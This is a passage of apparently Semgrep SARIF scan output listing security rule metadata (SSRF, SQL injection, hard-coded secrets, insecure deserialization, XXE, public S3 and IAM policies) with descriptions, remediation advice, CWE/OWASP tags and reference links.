trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","id":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","name":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"help":{"markdown":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link)\n - [https://cwe.mitre.org/data/definitions/319.html](https://cwe.mitre.org/data/definitions/319.html)\n","text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"helpUri":"https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link","id":"html.security.plaintext-http-link.plaintext-http-link","name":"html.security.plaintext-http-link.plaintext-http-link","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.plaintext-http-link.plaintext-http-link"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","id":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","name":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","id":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","name":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"help":{"markdown":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks)\n","text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","id":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","name":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","id":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","name":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html)\n","text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","id":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","name":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string","id":"python.django.security.injection.tainted-sql-string.tainted-sql-string","name":"python.django.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","id":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","name":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django","id":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","name":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-connection-django.sqlobject-connection-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"help":{"markdown":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection)\n - [https://cwe.mitre.org/data/definitions/323.html](https://cwe.mitre.org/data/definitions/323.html)\n","text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection","id":"kotlin.lang.security.gcm-detection.gcm-detection","name":"kotlin.lang.security.gcm-detection.gcm-detection","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.gcm-detection.gcm-detection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"help":{"markdown":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n","text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","id":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","name":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password","id":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","name":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-password.detected-artifactory-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"help":{"markdown":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization","id":"ruby.lang.security.bad-deserialization.bad-deserialization","name":"ruby.lang.security.bad-deserialization.bad-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.bad-deserialization.bad-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"help":{"markdown":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html](https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html)\n","text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the 